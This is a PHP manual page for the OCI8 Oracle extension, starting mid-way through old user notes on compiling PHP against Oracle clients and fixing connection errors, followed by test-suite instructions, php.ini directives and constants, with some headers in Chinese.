TNS_ADMIN="/usr/lib/oracle/10.2.0.2/client"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN

#Restart Apache

Jay
rainer dot klier at gmx dot at 22-May-2006 02:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
f dot kheiri at ucl dot ac dot uk 29-Apr-2006 07:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
25-Apr-2006 03:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
scoop at subindie dot com 26-Oct-2005 01:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
ben at onshop dot co dot uk 06-Jul-2005 08:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
denis dot delamarre at chu-rennes dot fr 09-Jun-2005 10:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp 06-Jun-2005 06:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
kucerar at hhmi dot org 23-Feb-2005 08:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
neogodo at yahoo dot com dot br 06-Aug-2004 06:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
mark at magpies dot net 05-Jul-2004 09:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
ed000001 at hotmail dot com 01-Jul-2004 03:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
    /* variable name starts with */
    "HTTP_",
    "SSL_",
    "ORACLE_",

    /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

    function dump_array($a_value)
    {
        reset($a_value);
        for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
        {
            $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                      "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                      "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
        }
        reset($a_value);
        echo $s_str;
    }

#putenv("ORACLE_SID=ORTD");
#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

    $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
    $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
    $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
    $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    while ( $mr )
    {
        dump_array($xx);
        $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    }
    $fr = ocifreestatement($st);
echo "fr = $fr<br />";
    ocicommit($cn);
    ocilogoff($cn);
?>
oddbec_no_more_spam_kthx at online dot no 24-Feb-2004 08:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
aleigh at tessier dot com 16-Nov-2003 03:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org 23-Oct-2003 06:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
NOSPAMPLZ!esartoni at omniaglobal dot net 27-May-2003 03:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
lore_giver at lycos dot co dot uk 20-May-2003 11:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
09-Dec-2002 01:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

    autoconf
    automake
    bison
    flex
    gcc
    make
    gzip

    They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

    LIBS=-lpthread ./configure \
    --prefix=/usr/local/apache \
    --enable-module=most \
    --enable-shared=max

    make
    make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

    ORACLE_HOME
    ORACLE_BASE
    NLS_LANG
    ORA_NLS33
    ORACLE_TERM
    LD_LIBRARY_PATH

    (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

    gunzip php-4.2.3.tar.gz
    tar xvf php-4.2.3.tar
    cd php-4.2.3

7.  Run PHP configure like so :

    CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
    --with-config-file-path=/etc \
    --with-mysql \
    --enable-ftp \
    --with-oci8=/path/to/ORACLE_HOME \
    --with-oracle=/path/to/ORACLE_HOME \
    --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

    LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

12.  Test the configuration:

    /usr/local/apache/bin/apachectl configtest

    It should return "Syntax OK"

13.  Bounce Apache:

    /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

    <?php

    $db_conn = ocilogon("scott", "tiger");

    $cmdstr = "select ename, sal from emp";
    $parsed = ociparse($db_conn, $cmdstr);
    ociexecute($parsed);
    $nrows = ocifetchstatement($parsed, $results);
    echo "Found: $nrows results<br><br>\n";

    echo "<table border=1 cellspacing='0' width='50%'>\n";
    echo "<tr>\n";
    echo "<td><b>Name</b></td>\n";
    echo "<td><b>Salary</b></td>\n";
    echo "</tr>\n";

    for ($i = 0; $i < $nrows; $i++ ) {
          echo "<tr>\n";
          echo "<td>" . $results["ENAME"][$i] . "</td>";
          echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
          echo "</tr>\n";
    }

    echo "</table>\n";

    ?>
john at john-warner dot com 20-Nov-2002 04:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
      )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
    echo "Connection failed";
    echo "Error Message: [" . OCIError($conn) . "]";
    exit;
}
else
{
    echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
kakukkfu at mailbox dot hu 26-Sep-2002 11:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
        source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
devolver at iastate dot edu 30-May-2002 04:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
Marinne at ilovechocolate dot com 17-May-2001 05:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org 06-Mar-2001 02:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
shmengie_2000 at yahoo dot com 03-Oct-2000 03:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe


Testing

The OCI8 test suite is in ext/oci8/tests. After OCI8 tests are run this directory will also contain logs of any failures.

Before running PHP's tests, edit details.inc and set $user, $password and the $dbase connection string. The OCI8 test suite has been developed using the SYSTEM account. Some tests will fail if the test user does not have equivalent permissions.

If Oracle Database Resident Connection Pooling is being tested, set $test_drcp to true and ensure the connection string uses an appropriate DRCP pooled server.

An alternative to editing details.inc is the set environment variables, for example:

    $ export PHP_OCI8_TEST_USER=system
    $ export PHP_OCI8_TEST_PASS=oracle
    $ export PHP_OCI8_TEST_DB=localhost/XE
    $ export PHP_OCI8_TEST_DRCP=FALSE
Note in some shells these variables are not propagated correctly to the PHP process and tests will fail to connect if this method is used.

Next, set any necessary environment for the Oracle database. If you are running PHP on the same machines as Oracle Database, you can run:

    $ . /usr/local/bin/oraenv

With Oracle 11gR2 XE do:

    $ . /u01/app/oracle/product/11.2.0/xe/bin/oracle_env.sh

Some shells require that php.ini has E in the variables_order parameter, for example:

    variables_order = "EGPCS"

Run all the PHP tests with:

    $ cd your_php_src_directory
    $ make test
or run only the OCI8 tests with
    $ cd your_php_src_directory
    $ make test TESTS=ext/oci8

When the tests have completed, review any test failures. On slow systems, some tests may take longer than the default test timeout in run-tests.php. To correct this, set the environment variable TEST_TIMEOUT to a larger number of seconds.

On fast machines with a local database configured for light load (e.g. Oracle 11gR2 XE) some tests might fail with ORA-12516 or ORA-12520 errors. To prevent this, increase the database PROCESSES parameter using the following steps:

Connect as the oracle software owner:

    $ su - oracle

Set the necessary Oracle environment with oracle_env.sh or oraenv, as described above.

Start the SQL*Plus command line tool and increase PROCESSES

    $ sqlplus / as sysdba
    SQL> alter system set processes=100 scope=spfile

Restart the database:

    SQL> startup force

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

OCI8 Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
oci8.connection_class | "" | PHP_INI_ALL |
oci8.default_prefetch | "100" | PHP_INI_SYSTEM |
oci8.events | Off | PHP_INI_SYSTEM |
oci8.max_persistent | "-1" | PHP_INI_SYSTEM |
oci8.old_oci_close_semantics | Off | PHP_INI_SYSTEM | Deprecated as of PHP 8.1.0.
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM |
oci8.ping_interval | "60" | PHP_INI_SYSTEM |
oci8.prefetch_lob_size | "0" | PHP_INI_SYSTEM | Available since PECL OCI8 3.2.
oci8.privileged_connect | Off | PHP_INI_SYSTEM |
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM |

这是配置指令的简短说明。

oci8.connection_class string

This user defined text should always be set when using Oracle Database Resident Connection Pooling (DRCP). It allows sub-partitioning of the DRCP connection pool, allowing OCI8 persistent connections from an application to reuse database sessions from a previous PHP script, giving better scalability. When an application uses a database pooled process previously used with a different connection class, the session settings such as the default Oracle date format are reset. This prevents accidental sharing of information between different applications.

The value can be set at runtime with ini_set() prior to connecting.

To use DRCP, OCI8 must be linked with Oracle 11g (or later) libraries and the database must be Oracle 11g (or later). The DRCP connection pool must be enabled in the database, the oci8.connection_class should be set to the same string for all web servers running the same application, and the OCI8 connection string must specify to use a pooled server. The application should use persistent connections.

oci8.default_prefetch int

This option sets the default number of extra rows that will be fetched and cached automatically whenever a low-level request for data from the database is made. Setting a value of 0 turns off prefetching.

The prefetch value does not alter the number of rows that functions like oci_fetch_array() return to the user; the prefetching and caching of rows is handled internally in OCI8.

The value can be set per-statement with oci_set_prefetch() prior to statement execution.

When using Oracle Database 12c (or later), the prefetch value set by PHP can be overridden by Oracle's client oraaccess.xml configuration file. Refer to Oracle documentation for more detail.

Note: A larger prefetch can result in improved performance, at the cost of some increased memory usage. For queries that return large amounts of data, the performance benefit can be significant.

oci8.events bool

Using On allows PHP to be notified of database Fast Application Notification (FAN) events.

Without FAN, when a database instance or machine node fails unexpectedly, PHP applications may be blocked waiting for a database response until a TCP timeout expires. With FAN events, PHP applications are quickly notified of failures that affect their established database connections. The OCI8 extension will clean up unusable connections in the persistent connection cache.

When using On, the database must also be configured to post FAN events.

FAN support is available when OCI8 is linked with Oracle 10gR2 (or later) libraries and connected to Oracle Database 10gR2 (or later).

oci8.max_persistent int

The maximum number of persistent OCI8 connections per PHP process. Setting this option to -1 means that there is no limit.

oci8.old_oci_close_semantics bool

This option controls oci_close() behaviour. Enabling it means that oci_close() will do nothing; the connection will not be closed until the end of the script. This is for backward compatibility only. If you find that you need to enable this setting, you are strongly encouraged to adjust the oci_close() calls in your application instead of enabling this option.

oci8.persistent_timeout int

The maximum number of seconds that a PHP process is allowed to keep an idle persistent connection open. Setting this option to -1 means that idle persistent connections will be retained until the PHP process terminates or the connection is explicitly closed with oci_close().

Note: In PHP, the expiry of idle resources is not alarm-based. It occurs when PHP finishes processing a script and checks the last-used timestamp of resources. Hence there is a paradox that idle connections can only be closed when there is some activity (though not necessarily OCI8 related) in the PHP process. If there is more than one PHP process then each must individually be activated in order to trigger expiry of its idle resources. The introduction of Database Resident Connection Pooling (DRCP) in Oracle 11g resolves the memory and resource issues that oci8.max_persistent and oci8.persistent_timeout previously attempted to overcome.

oci8.ping_interval int

The number of seconds that must pass before issuing a ping during oci_pconnect(). A ping ensures that the database connection is valid. When set to 0, persistent connections will be pinged every time oci_pconnect() is called. To disable pings completely, set this option to -1.

Note: Disabling pings allows oci_pconnect() to operate at the highest efficiency, but PHP may not be able to detect unusable connections, such as caused by network dropout, or if the Oracle database has gone down since PHP connected, until the connection is used later in the script. Consult the oci_pconnect() documentation for more information.

oci8.prefetch_lob_size int

This is a tuning parameter affecting internal buffering of LOB data. Increasing this value can improve the performance of fetching smaller LOBs by reducing round-trips between PHP and the database. Memory usage will change.

The value affects LOBs returned as OCILob instances and also those returned using OCI_RETURN_LOBS.

The value can be set per-statement with oci_set_prefetch_lob() prior to statement execution.

Note: Use with Oracle Database 12.2 or later.

oci8.privileged_connect bool

This option allows connections to use the privileged external credentials OCI_SYSOPER or OCI_SYSDBA.

Note: Seting this On can allow scripts on web servers running with the appropriate OS user privileges to connect as privileged database users without requiring a database password. This can be a security risk.

oci8.statement_cache_size int

This option enables statement caching, and specifies how many statements to cache. To disable statement caching just set this option to 0.

Statement caching removes the need to transmit the statement text to the database and removes the need to transmit any meta data about the statement back to PHP. This can significantly improve overall system performance in applications which reuse statements during the lifetime of a connection. Some extra database "cursors" may be held open under the assumption that statements will be reused.

Set this value to the size of the working set of statements used by your application. Setting too small a value can cause statements to be flushed from the cache before they are reused.

This option is of most use with persistent connections.

When using Oracle Database 12c (or later), this value can be overridden and automatically tuned by Oracle's client oraaccess.xml file. Refer to Oracle documentation for more detail.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

OCI8 Function and Method Modes
Constant | Description
OCI_ASSOC | Used with oci_fetch_all() and oci_fetch_array() to get results as an associative array.
OCI_BOTH | Used with oci_fetch_all() and oci_fetch_array() to get results as an array with both associative and number indices.
OCI_COMMIT_ON_SUCCESS | Statement execution mode for oci_execute() call. Automatically commit changes when the statement has succeeded.
OCI_CRED_EXT | Used with oci_connect() for using Oracles' External or OS authentication.
OCI_DEFAULT | See OCI_NO_AUTO_COMMIT.
OCI_DESCRIBE_ONLY | Statement execution mode for oci_execute(). Use this mode if you want meta data such as the column names but don't want to fetch rows from the query.
OCI_EXACT_FETCH | Obsolete. Statement fetch mode. Used when the application knows in advance exactly how many rows it will be fetching. This mode turns prefetching off for Oracle release 8 or later mode. The cursor is canceled after the desired rows are fetched which may result in reduced server-side resource usage.
OCI_FETCHSTATEMENT_BY_COLUMN | Default mode of oci_fetch_all().
OCI_FETCHSTATEMENT_BY_ROW | Alternative mode of oci_fetch_all().
OCI_LOB_BUFFER_FREE | Used with OCILob::flush to free buffers used.
OCI_NO_AUTO_COMMIT | Statement execution mode for oci_execute(). The transaction is not automatically committed when using this mode. For readability in new code, use this value instead of the older, equivalent OCI_DEFAULT constant.
OCI_NUM | Used with oci_fetch_all() and oci_fetch_array() to get results as an enumerated array.
OCI_RETURN_LOBS | Used with oci_fetch_array() to get the data value of the LOB instead of the descriptor.
OCI_RETURN_NULLS | Used with oci_fetch_array() to get empty array elements if the row items value is null.
OCI_SEEK_CUR | Used with OCILob::seek to set the seek position.
OCI_SEEK_END | Used with OCILob::seek to set the seek position.
OCI_SEEK_SET | Used with OCILob::seek to set the seek position.
OCI_SYSDATE | Obsolete.
OCI_SYSDBA | Used with oci_connect() to connect with the SYSDBA privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
